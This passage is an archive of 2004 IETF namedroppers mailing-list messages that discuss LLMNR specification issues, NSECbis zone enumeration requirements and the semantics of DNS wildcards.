In Section 2.1.1, change:
"If the TC bit is set in an LLMNR response,
then the sender MAY use the response if it contains all necessary
information, or the sender MAY discard the response and resend the
LLMNR query over TCP using the unicast address of the responder as
the destination address. See [RFC2181] and Section 2.4 of this
specification for further discussion of the TC bit."
To:
"If the TC bit is set in an LLMNR response,
then the sender SHOULD discard the response and resend the
LLMNR query over TCP using the unicast address of the responder as
the destination address. See [RFC2181] and Section 2.4 of this
specification for further discussion of the TC bit."
---------------------------------------------------------------------------
Issue 74: Partial Responses/TC Bit
Submitter: Thomas Narten
Submitter email address: narten@us.ibm.com
Date first submitted: August 27, 2004
Reference:
Document: LLMNR-34
Comment type: T
Priority: S
Section: Various
Rationale/Explanation of issue:
> by an LLMNR responder. If the TC bit is set an LLMNR response,
> then the sender MAY use the response if it contains all necessary
> information, or the sender MAY discard the response and resend the
> LLMNR query over TCP using the unicast address of the responder as
> the destination address. See [RFC2181] and Section 2.4 of this
> specification for further discussion of the TC bit.
section 9 of 2181 does not allow use of a partial response. the issue
is that one can't know whether all the data that one needs is in the
response. Should this spec be deviating from DNS here? I suspect not,
especially since truncation should be much less of an issue given the
requirement that the link MTU be supported.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 14:08:39 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA24745
for ; Thu, 2 Sep 2004 14:08:38 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2vwW-000PQh-EN
for namedroppers-data@psg.com; Thu, 02 Sep 2004 18:04:16 +0000
Received: from [66.167.171.107] (helo=internaut.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2vwL-000PON-J5
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 18:04:05 +0000
Received: from localhost (aboba@localhost)
by internaut.com (8.10.2/8.10.2) with ESMTP id i82HvTa06599
for ; Thu, 2 Sep 2004 10:57:29 -0700
Date: Thu, 2 Sep 2004 10:57:29 -0700 (PDT)
From: Bernard Aboba
To: namedroppers@ops.ietf.org
Subject: LLMNR Issue 75 (AD Review): Miscellaneous
Message-ID:
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
The list of LLMNR Issues and resolutions is available here:
http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html
The text of Issue 75 is enclosed below. The proposed resolution is as
follows:
In Section 2.1, change:
"When in doubt a maximum packet size of 512 octets SHOULD be used. LLMNR
implementations MUST accept UDP queries and responses as large as
permitted by the link MTU."
To:
"When in doubt a maximum packet size of 512 octets
SHOULD be used. LLMNR implementations MUST accept UDP queries and
responses as large as 8192 octets."
In Section 2.1.1, change:
"The ID field in a query SHOULD be set to a pseudo-random value."
To:
"The ID field in a query SHOULD be set to a pseudo-random value. For advice on generation
of pseudo-random values, please consult [RFC1750]."
Add to non-normative references:
[RFC 1750] Eastlake, D., Crocker S. and J. Schiller,
"Randomness Recommendations for Security", RFC 1750, December 1994.
-----------------------------------------------------------------------
Issue 75: Miscellaneous
Submitter: Thomas Narten
Submitter email address: narten@us.ibm.com
Date first submitted: August 27, 2004
Reference:
Document: LLMNR-34
Comment type: T
Priority: S
Section: Various
Rationale/Explanation of issue:
> packet size of 512 octets SHOULD be used. LLMNR implementations MUST
> accept UDP queries and responses as large as permitted by the link
> MTU.
Some links support ridiculous MTUs (e.g., 65K). Would it be useful to
place an upper bound on the max size to something big, but not
ridiculous? E.g., 5K? 10k?
> queries. The ID field in a query SHOULD be set to a pseudo-random
> value.
Does this need to be unpredictable for security? If so, say so, and
perhaps cite the relevant RFC.
> Since the responder may order the RRs in the response so as to
> indicate preference, the sender SHOULD preserve ordering in the
> response to the querying application.
this is a change from DNS.
> Routable addresses MUST be included first in the response, if
> available. This encourages use of routable address(es) for
> establishment of new connections.
hmm.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 14:31:00 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA25965
for ; Thu, 2 Sep 2004 14:30:59 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2wID-0003aU-BZ
for namedroppers-data@psg.com; Thu, 02 Sep 2004 18:26:41 +0000
Received: from [192.149.252.33] (helo=smtp1.arin.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2wI2-0003Yz-Gn
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 18:26:30 +0000
Received: by smtp1.arin.net (Postfix, from userid 5003)
id 2D1B7143DD7; Thu, 2 Sep 2004 14:08:32 -0400 (EDT)
Received: from mercury.arin.net (mercury.arin.net [192.149.252.131])
by smtp1.arin.net (Postfix) with ESMTP id A7236143DCD;
Thu, 2 Sep 2004 14:08:31 -0400 (EDT)
Received: from [192.168.1.100] (mercury.arin.net [127.0.0.1])
by mercury.arin.net (Postfix) with ESMTP id 58932CF3C1;
Thu, 2 Sep 2004 14:26:29 -0400 (EDT)
Mime-Version: 1.0
X-Sender: edlewis@127.0.0.1
Message-Id:
In-Reply-To:
References:
<4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com>
Date: Thu, 2 Sep 2004 14:26:26 -0400
To: Simon Josefsson
From: Edward Lewis
Subject: Re: Zone enumeration, requirements, and security redux
Cc: namedroppers@ops.ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
At 18:31 +0200 9/2/04, Simon Josefsson wrote:
>Edward Lewis writes:
>
>> [Find] a way to prove the non-existence of a name without
>...
>> - muddying up the name space with fake names or data sets
>
>What does this mean?
>
>The simplest explanation is perhaps an example of a solution that
>wouldn't fulfill the requirement.
The EXIST record of NSEC2. Having to add hashes of names to the zone.
>The reason I ask is that some users may find it useful to fill up the
>name space with fake names, when adding NSECbis records. The reason
>for doing so would be to make it more difficult to find (arbitrarily
>precise) zone size estimates. All NSEC replacement proposals so far
>are vulnerable to remote zone size estimates, and DNS without DNSSEC
>is not. See section 3 of http://www.links.org/dnssec/requirements.txt
Is defending against size estimates a goal/criteria? I haven't seen
that presented as a problem (other than to know how successful a
brute-force guessing attack has been.)
With the criteria I've listed, I don't think it's possible to solve
the puzzle. I'm listing what I think are the desirable features of
the puzzle solution. In my mind, requirements are "absolutely must
have" desirable features. So, by starting with all the desire
features, whittling them down, we get to the requirements. Then, we
can design and evaluate solutions.
I want to add - not all proposals involving hashes "muddy up the name
space." It's when the hashes are to be added to the zone that I get
queasy.
--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis +1-703-227-9854
ARIN Research Engineer
"I can't go to Miami. I'm expecting calls from telemarketers." -
Grandpa Simpson.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 14:57:52 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27756
for ; Thu, 2 Sep 2004 14:57:52 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2wiA-0008YF-40
for namedroppers-data@psg.com; Thu, 02 Sep 2004 18:53:30 +0000
Received: from [80.91.224.249] (helo=main.gmane.org)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2whS-0008NV-NL
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 18:52:47 +0000
Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian))
id 1C2whR-0007mI-00
for ; Thu, 02 Sep 2004 20:52:45 +0200
Received: from c494102a.s-bi.bostream.se ([217.215.27.65])
by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
id 1AlnuQ-0007hv-00
for ; Thu, 02 Sep 2004 20:52:45 +0200
Received: from jas by c494102a.s-bi.bostream.se with local (Gmexim 0.1 (Debian))
id 1AlnuQ-0007hv-00
for ; Thu, 02 Sep 2004 20:52:45 +0200
X-Injected-Via-Gmane: http://gmane.org/
To: namedroppers@ops.ietf.org
From: Simon Josefsson
Subject: Re: Zone enumeration, requirements, and security redux
Date: Thu, 02 Sep 2004 20:52:30 +0200
Lines: 54
Message-ID:
References: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Complaints-To: usenet@sea.gmane.org
X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se
User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux)
Cancel-Lock: sha1:tu0A4x+hYkFlPQ+OXYPG3BVePlQ=
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Edward Lewis writes:
> At 18:31 +0200 9/2/04, Simon Josefsson wrote:
>>Edward Lewis writes:
>>
>>> [Find] a way to prove the non-existence of a name without
>>...
>>> - muddying up the name space with fake names or data sets
>>
>>What does this mean?
>>
>>The simplest explanation is perhaps an example of a solution that
>>wouldn't fulfill the requirement.
>
> The EXIST record of NSEC2. Having to add hashes of names to the zone.
Why is that a problem? Is it something more than the increase in the
number of owner names in the zone?
>>The reason I ask is that some users may find it useful to fill up the
>>name space with fake names, when adding NSECbis records. The reason
>>for doing so would be to make it more difficult to find (arbitrarily
>>precise) zone size estimates. All NSEC replacement proposals so far
>>are vulnerable to remote zone size estimates, and DNS without DNSSEC
>>is not. See section 3 of http://www.links.org/dnssec/requirements.txt
>
> Is defending against size estimates a goal/criteria? I haven't seen
> that presented as a problem (other than to know how successful a
> brute-force guessing attack has been.)
I don't know, but I wanted to be bring it up for discussion. Similar
to zone enumeration, zone size estimate is a vulnerability that didn't
exist with vanilla DNS, which DNSSEC (even with NSECbis) would
introduce.
I know I'm going to make use of this property to collect statistics
about zones. Perhaps some operators doesn't like that idea.
Note the subtle wording of my requirement. The requirement isn't that
NSECbis should protect against zone size estimate attacks. The
requirement is that NSECbis should not exclude implementations to
protect against the attack by, e.g., inserting fake names when
generating NSECbis records.
> I want to add - not all proposals involving hashes "muddy up the name
> space." It's when the hashes are to be added to the zone that I get
> queasy.
I think you lost me here. Could you give an example of a NSECbis
proposal that _doesn't_ add hashes to the zone? I thought they all
did that.
Thanks,
Simon
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 15:19:51 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA29929
for ; Thu, 2 Sep 2004 15:19:51 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2x4R-000CxT-LA
for namedroppers-data@psg.com; Thu, 02 Sep 2004 19:16:31 +0000
Received: from [129.46.51.58] (helo=numenor.qualcomm.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2x4G-000Cvh-Ux
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 19:16:21 +0000
Received: from magus.qualcomm.com (magus.qualcomm.com [129.46.61.148])
by numenor.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i82JGI1i016013
(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
for ; Thu, 2 Sep 2004 12:16:19 -0700 (PDT)
Received: from [24.5.15.109] (vpn-10-50-0-51.qualcomm.com [10.50.0.51])
by magus.qualcomm.com (8.12.10/8.12.5/1.0) with ESMTP id i82JGGUV004785
for ; Thu, 2 Sep 2004 12:16:17 -0700 (PDT)
Mime-Version: 1.0
X-Sender: hardie@mage.qualcomm.com
Message-Id:
In-Reply-To:
References:
<4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com>
Date: Thu, 2 Sep 2004 12:16:14 -0700
To: namedroppers@ops.ietf.org
From: Ted Hardie
Subject: Re: Zone enumeration, requirements, and security redux
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.7 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
This is an engineering trade-off, and I believe it is an appropriate one.
The risk (zone enumeration) introduces a new mechanism by which data
stored in the DNS is made available (discovery vs. lookup), but all
of the data so exposed is already a public part of the zone. Even with
the introduction of IRIS (the CRISP protocol) there is no doubt that
the introduction of the new mechanism does create operational concerns
for some deployments, but dropping it without a replacement loses
authenticated denial, which is a far more fundamental part of the
system. Any new mechanism introduced to achieve authenticated
denial without zone enumeration will have its own trade-offs,
which are unknown at this time. An optimist can assume they
will be better; a pessimist notes that they must be worst on
time of initial deployment and may be worse in other ways.
I would support the creation of a working group item for development
of DNS-with-ACLs, to be applicable to DNS or DNSSEC zones; I think
that would refocus the problem in ways that make the trade offs more
clear. The WG may, of course, decide the result is not DNS, but some
other service,
and that service can go forward on the merits of that need. In the mean
time, though, we need to move forward with the current system, which meets all
the requirements it was originally intended to meet.
regards,
Ted
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 15:21:31 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA00120
for ; Thu, 2 Sep 2004 15:21:31 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2x5t-000DDa-Ho
for namedroppers-data@psg.com; Thu, 02 Sep 2004 19:18:01 +0000
Received: from [192.149.252.33] (helo=smtp1.arin.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2x5i-000DC9-Lw
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 19:17:50 +0000
Received: by smtp1.arin.net (Postfix, from userid 5003)
id 82C97143DF0; Thu, 2 Sep 2004 14:59:51 -0400 (EDT)
Received: from mercury.arin.net (mercury.arin.net [192.149.252.131])
by smtp1.arin.net (Postfix) with ESMTP id CE2CF143DEE;
Thu, 2 Sep 2004 14:59:50 -0400 (EDT)
Received: from [192.168.1.100] (mercury.arin.net [127.0.0.1])
by mercury.arin.net (Postfix) with ESMTP id EEDB0CF3C1;
Thu, 2 Sep 2004 15:17:48 -0400 (EDT)
Mime-Version: 1.0
X-Sender: edlewis@127.0.0.1
Message-Id:
In-Reply-To:
References:
<4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com>
Date: Thu, 2 Sep 2004 15:17:51 -0400
To: Simon Josefsson
From: Edward Lewis
Subject: Re: Zone enumeration, requirements, and security redux
Cc: namedroppers@ops.ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
At 20:52 +0200 9/2/04, Simon Josefsson wrote:
>Edward Lewis writes:
>
>> At 18:31 +0200 9/2/04, Simon Josefsson wrote:
>>>Edward Lewis writes:
>>>
>>>> [Find] a way to prove the non-existence of a name without
>>>...
>>>> - muddying up the name space with fake names or data sets
>>>
>>>What does this mean?
>>>
>>>The simplest explanation is perhaps an example of a solution that
>>>wouldn't fulfill the requirement.
>>
>> The EXIST record of NSEC2. Having to add hashes of names to the zone.
>
>Why is that a problem? Is it something more than the increase in the
>number of owner names in the zone?
One of the things I look out for is any definition of the protocol
that "determines the shape of the tree." I.e., DNS specifications
don't describe what zones are in existence (com.). The SRV record
does add prefixes to names (_tcp.), I'm wary of that still.
(The SRV is also "just" a Proposed Standard.)
Why worry about this? I've stated a general bias, so the reasons
vary by proposal. Specifying that certain zones exist, or that
labels are reserved tread into non-engineering matters. Using
prefix's on names causes some heartburn with wild cards - i.e., those
who use * MX are tempted to then assume they can add _marid._tcp.*
records.
When it comes to hashed names - if you add hashes as extra labels in
the zone, where do you stop? (Note: I am stating this as an example
concern. Please don't try to pick this apart, it's out of context of
a developed proposal.)
Ex. example.com SOA
a.example.com A
HASH(a).example.com NSEC2
Do you now have to also have HASH(HASH(a)).example.com too? Or are
you now saying that half the names in the zone are treated one way
and the other another way. What if HASH(a) equals a name that is
supposed to be in the zone - how is that name special cased.
I mention this as an example. The time to discuss this will be when
we get to discussing a proposal that does this. Let's not get into a
thread on this until there are requirements laid out.
>>>The reason I ask is that some users may find it useful to fill up the
>>>name space with fake names, when adding NSECbis records. The reason
>>>for doing so would be to make it more difficult to find (arbitrarily
>>>precise) zone size estimates. All NSEC replacement proposals so far
>>>are vulnerable to remote zone size estimates, and DNS without DNSSEC
>>>is not. See section 3 of http://www.links.org/dnssec/requirements.txt
>>
>> Is defending against size estimates a goal/criteria? I haven't seen
>> that presented as a problem (other than to know how successful a
>> brute-force guessing attack has been.)
>
>I don't know, but I wanted to be bring it up for discussion. Similar
>to zone enumeration, zone size estimate is a vulnerability that didn't
>exist with vanilla DNS, which DNSSEC (even with NSECbis) would
>introduce.
>
>I know I'm going to make use of this property to collect statistics
>about zones. Perhaps some operators doesn't like that idea.
>
>Note the subtle wording of my requirement. The requirement isn't that
>NSECbis should protect against zone size estimate attacks. The
>requirement is that NSECbis should not exclude implementations to
>protect against the attack by, e.g., inserting fake names when
>generating NSECbis records.
I'd suggest a new mail thread on that. I'm ambivalent on the topic,
but a nice subject line would be good to draw in those who might have
strong thoughts. Please don't take my words to say that I think this
is a non-issue for others, but it is a non-issue for me.
>> I want to add - not all proposals involving hashes "muddy up the name
>> space." It's when the hashes are to be added to the zone that I get
>> queasy.
>
>I think you lost me here. Could you give an example of a NSECbis
>proposal that _doesn't_ add hashes to the zone? I thought they all
>did that.
Well, we aren't at the stage of solutions now, but I know of some
discussions about on-line signing that do not need hashes. (If you
find key management bearable, you can sign on-the-fly a negative
answer using the query name in places.)
I think it's possible to use name hashes without putting the hashed
names in the DNS. But I'm waiting until I see requirements before
pursuing the idea.
--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis +1-703-227-9854
ARIN Research Engineer
"I can't go to Miami. I'm expecting calls from telemarketers." -
Grandpa Simpson.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 15:40:30 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA01308
for ; Thu, 2 Sep 2004 15:40:30 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2xPZ-000Gqi-1K
for namedroppers-data@psg.com; Thu, 02 Sep 2004 19:38:21 +0000
Received: from [192.150.250.67] (helo=fuchsia.home)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2xPL-000Gm8-Kr
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 19:38:10 +0000
Received: from delta.noi.kre.to (delta.ex0.home [192.168.192.22]) by fuchsia.home with ESMTP
id i82Jbw0v026078; Fri, 3 Sep 2004 02:37:58 +0700 (ICT)
Received: from munnari.OZ.AU (localhost [127.0.0.1])
by delta.noi.kre.to (8.12.9/8.11.6) with ESMTP id i82Jboa1006996;
Fri, 3 Sep 2004 02:37:53 +0700 (ICT)
From: Robert Elz
To: Edward Lewis
cc: namedroppers@ops.ietf.org
Subject: Re: wild cards
In-Reply-To:
References: <25125.1094132929@munnari.OZ.AU>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 03 Sep 2004 02:37:50 +0700
Message-ID: <22959.1094153870@munnari.OZ.AU>
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Date: Thu, 2 Sep 2004 10:37:35 -0400
From: Edward Lewis
Message-ID:
| It's true that there is no other restriction on a domain name other
| than label and total length. And 1034 does mention that the null
| label is reserved for the root - not the null name, but the null
| label. (So I think an encoding of "0x00 0x03 A B C" as illegal in
| the sense that the label "ABC" is trailing garbage.)
No, that's not illegal at all, it just doesn't mean what you you're
implying it might mean. The 0 length byte (null label) terminates
the label. The bytes that follow it simply aren't part of that label,
they're the next data from the packet (if the domain was in the name
field, the "0x3 A" would be the type octets, and the "B C" the class).
Those are "unusual" type & class values, but not illegal in any way.
If this occurred as the start of the RDATA in an SOA, the 0x3 A B C
would just be the SOA.rname (or start thereof).
In other places they might generate a format error for the packet, but
that's still not an illegal domain name.
| This doesn't bar us from now defining domain names as illegal -
| keeping in mind that anytime we do something for the first time we
| run the risk of problems elsewhere.
Of course not, we can go around redefining the world however we see fit.
We could declare the label "www" illegal if we wanted to. Of course,
when we start moving things that have previously been perfectly valid
into being illegal, we have to allow for the possibility that people
have been using them, quite legitimately, for almost any reason at all
(either on the internet, or elsewhere).
There has to be a very good reason to make a change like that, and here
there is no reason at all.
| That's not entirely clear to me. For the moment, let's assume
| there's no barring of *.*.example.com.
|
| Let's say we have there records (assuming IN class all the way):
|
| example.com SOA
| *.example.com A 1.1.1.1
| *.*.example.com A 2.2.2.2
| a.*.example.com A 3.3.3.3
|
| Query for (*.example.com A) -> 1.1.1.1 is the return, exact match
Queries that have '*' labels were my third case. While perfectly valid,
they're unusual, and not what almost anyone is thinking of when we're
talking about wildcards (as the '*' in the zone that matches the '*' in
the query isn't wildcard at all).
| Query for (a.example.com A) -> 1.1.1.1 with closest encloser example.com
| Query for (a.*.example.com A) -> 3.3.3.3 exact match, I think.
| Query for (b.*.example.com A) -> 2.2.2.2 with closest encloser *.example.com
| Query for (b.a.example.com A) -> 1.1.1.1 with closest encloser example.com
yes, I agree with all of those.
Those ones aren't even doubtful, they're all obvious. The query you
need to explain carefully is a.b.example.com.
| IOW - *.*.example.com creates a shadow between *.example.com and any
| subdomain of that name.
Sorry. I have no idea what that means.
| Okay, RFC1034 forbids ("discourages") *.*.example.com.
Where is that?
| Let's strike it from the example.
|
| example.com SOA
| *.example.com A 1.1.1.1
| a.*.example.com A 3.3.3.3
|
| Query for (*.example.com A) -> no change from before
| Query for (a.example.com A) -> ditto
| Query for (a.*.example.com A) -> ditto
| Query for (b.*.example.com A) -> NXDOMAIN
| Query for (b.a.example.com A) -> no change from before
|
| There's a change for queries in the shadow of *.example.com - they
| become NXDOMAIN if not listed in the zone file.
This isn't anything different from any other domain - if a name exists,
then a wildcard sibling doesn't apply to any of its sub-domains. What
is supposed to be different here?
| So - I wouldn't say they are "meaningless."
The "meaningless" was in the context of my second case, which was
assuming (though perhaps I didn't make this as clear as I should)
"normal" queries - the same kind we see every day, with no '*' labels
in the name being sought. In that context, these sub-domains of '*'
labels are completely meaningless (or perhaps irrelevant is a better word).
| Yeah. Maybe I misunderstood the previous "in this message" comment.
I wrote the message sequentially, it was correct when I put in that
phrase, it may not have remained correct by the time I finished...
| In my world, a.*.example.com wouldn't match a.x.example.com,
| *.example.com is the match.
Yes, absolutely.
| Maybe there's the conundrum. In this instance I have an answer for a
| name that does not block wild card matching. "x.example.com" returns
| data (A) but does not stand in the way of b.x.example.com and
| *.example.com. Without DNSSEC, this could be terribly confusing to
| the astute resolver.
I see nothing confusing at all. Resolvers know nothing of wildcards.
When a resolver gets an answer (without dnssec, which does make life
more difficult here, but in unavoidable ways I believe) the resolver
simply assumes that any answer it gets is an explicit RR in the zone,
and any answer it doesn't get (packet transport problems ignored) doesn't
exist. No astuteness, or even anything beyond feeble mindedness
required at all for this.
| My interest in this topic is more than academic (not that you are
| insinuating I'm being academic). When I sat in on MARID in May, they
| wanted to be able to have a record like: _marid.*.example.com.
Yes, that's absurd. Making it clear that cannot work (the way they're
imagining) is certainly what this draft should do.
But to accomplish that we don't have to, and should not be, making
any domain names become illegal. We just need to clarify how the
lookup algorithm works (and in the case of CNAME, perhaps, change it,
which is really a side issue here).
| The options are to stand aside and let this be,
No, no matter what we do, the planned interpretation does not, and
cannot, ever work. That would take a major redefinition of the DNS
lookup algorithms to accomplish, plus deployment of modified servers
all over the place. Not likely.
| create the notion of
| an illegal name, or to muffle the synthesis rules if *.
| has a (non-empty) subdomain itself.
No, nothing needs changing at all - merely a more explicit statement
of the current wildcard lookup procedures.
Certainly people don't understand this stuff as well as perhaps they
should (and since in general most of us just try to discourage wildcard
use in all cases, rather than explain it, that may be understandable).
If the method was well understood, no-one would be even suggesting that
silly technique.
| That's what I've been saying about wild cards for some time. "They
| aren't confusing, they're just misunderstood."
Yes. So let's fix the problem, not redefine it into something else
and then fix that. Let's just clarify how the things work, and (with
the possible exception of the way CNAME works), change nothing at all.
| The effort is to get everyone to interoperate on this. We want to
| stomp on corner cases that have gone haywire. If not for just
| academic purity, but to be able to explain to groups like the MARID
| WG why "_marid.*.example.com" doesn't behave as they think it does.
Sure, we need to do that. But doing that isn't going to fix whatever
broken implementations currently exist. What this means is that in
practice, however well these odd cases are supposed to be defined, it
isn't possible to rely upon them doing what they should. Fortunately,
apart from that _marid.*.whatever nonsense, no-one in practice ever
attempts to do this kind of thing (and that attempt is simply doomed to
fail, even if we were to do nothing - it just may take longer for the
authors of that draft to realise it).
kre
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Thu Sep 2 16:17:02 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA03799
for ; Thu, 2 Sep 2004 16:17:01 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C2xxy-000O2N-IJ
for namedroppers-data@psg.com; Thu, 02 Sep 2004 20:13:54 +0000
Received: from [192.149.252.33] (helo=smtp1.arin.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C2xxn-000O1M-Ot
for namedroppers@ops.ietf.org; Thu, 02 Sep 2004 20:13:44 +0000
Received: by smtp1.arin.net (Postfix, from userid 5003)
id 019D3143BD7; Thu, 2 Sep 2004 15:55:43 -0400 (EDT)
Received: from mercury.arin.net (mercury.arin.net [192.149.252.131])
by smtp1.arin.net (Postfix) with ESMTP id B26DB143AD2;
Thu, 2 Sep 2004 15:55:41 -0400 (EDT)
Received: from [192.168.1.100] (mercury.arin.net [127.0.0.1])
by mercury.arin.net (Postfix) with ESMTP id 30659CF3C1;
Thu, 2 Sep 2004 16:13:40 -0400 (EDT)
Mime-Version: 1.0
X-Sender: edlewis@127.0.0.1
Message-Id:
In-Reply-To: <22959.1094153870@munnari.OZ.AU>
References:
<25125.1094132929@munnari.OZ.AU>
<22959.1094153870@munnari.OZ.AU>
Date: Thu, 2 Sep 2004 16:13:39 -0400
To: Robert Elz
From: Edward Lewis
Subject: Re: wild cards
Cc: Edward Lewis , namedroppers@ops.ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
At 2:37 +0700 9/3/04, Robert Elz wrote:
>We could declare the label "www" illegal if we wanted to. Of course,
>when we start moving things that have previously been perfectly valid
>into being illegal, we have to allow for the possibility that people
>have been using them, quite legitimately, for almost any reason at all
>(either on the internet, or elsewhere).
We moved IQUERY to historic.
>I wrote the message sequentially, it was correct when I put in that
>phrase, it may not have remained correct by the time I finished...
Then I think I've wasted a lot of bit's on this.
> | My interest in this topic is more than academic (not that you are
> | insinuating I'm being academic). When I sat in on MARID in May, they
> | wanted to be able to have a record like: _marid.*.example.com.
>
>Yes, that's absurd. Making it clear that cannot work (the way they're
>imagining) is certainly what this draft should do.
>
>But to accomplish that we don't have to, and should not be, making
>any domain names become illegal. We just need to clarify how the
>lookup algorithm works (and in the case of CNAME, perhaps, change it,
>which is really a side issue here).
From what I've heard, the WG disagrees with this line of reasoning.
Just because something is legal doesn't mean it has to remain legal.
> | The options are to stand aside and let this be,
>
>No, no matter what we do, the planned interpretation does not, and
>cannot, ever work. That would take a major redefinition of the DNS
>lookup algorithms to accomplish, plus deployment of modified servers
>all over the place. Not likely.
I don't see restricting the names having anything to do with the resolver side.
In addition (in answer to something I dropped) RFC 1034, 4.3.3. already says:
should not contain other * labels...
which is a name restriction already. It seems to me that there was
an intent to restrict names involving wild cards.
--
